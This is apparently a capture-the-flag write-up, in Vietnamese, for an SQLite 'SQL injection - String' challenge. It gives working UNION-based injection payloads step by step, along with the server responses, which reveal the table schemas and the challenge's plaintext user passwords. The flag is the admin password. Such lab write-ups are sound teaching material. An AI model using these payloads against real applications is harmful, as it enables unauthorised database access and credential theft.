

SQL injection - String

Point: 30 Points

Description: Retrieve the administrator password

Solution:

Trang này có nhiều tương tác form . Chúng ta sử dụng '1 trong **Search** and **Login** để kiểm tra xem trường nào có lỗ hổng

Recherche

Warning: SQLite3::query(): Unable to prepare statement: 1, near ""'": syntax error in /challenge/web-serveur/ch19/index.php on line 150
near ""'": syntax error

Bây giờ ta sẽ cố bypass để lấy **admin's password**. Đầu tiên, ta phải xác định xem giá trị trả về có bao nhiêu cột. Bằng cách sử dụng **UNION**, ta có: **site' union select 1 --** .

Recherche

Warning: SQLite3::query(): Unable to prepare statement: 1, SELECTs to the left and right of UNION do not have the same number of result columns in /challenge/web-serveur/ch19/index.php on line 150
SELECTs to the left and right of UNION do not have the same number of result columns

Lỗi trả về. Thử input : **site' union select 1, 2 --**

Recherche

1 result(s) for "site' union select 1, 2 -- "

1 (2)

OK. Bây giờ thì chúng ta có thể lấy thông tin từ **system database**. Trong SQLite, có một table với 5 trường là: sqlite_master(type, name, tbl_name, rootpage, sql). Chúng ta chọn 2 trường chứa thông tin nhạy cảm là **rootpage** và **sql**.

site' union select name, sql from sqlite_master --

Recherche

2 result(s) for "site' union select name, sql from sqlite_master -- "

news (CREATE TABLE news(id INTEGER, title TEXT, description TEXT))

users (CREATE TABLE users(username TEXT, password TEXT, Year INTEGER))

Lấy dữ liệu từ **user table**.

site' union select username, password from users --

Recherche

chercher

3 result(s) for "site' union select username, password from users -- "

admin (c4K04dtlaJsuWdi)
user1 (OK4dSoYE)
user2 (8Wbhkzmd)

Xong !!!

Flag: **c4K04dtlaJsuWdi**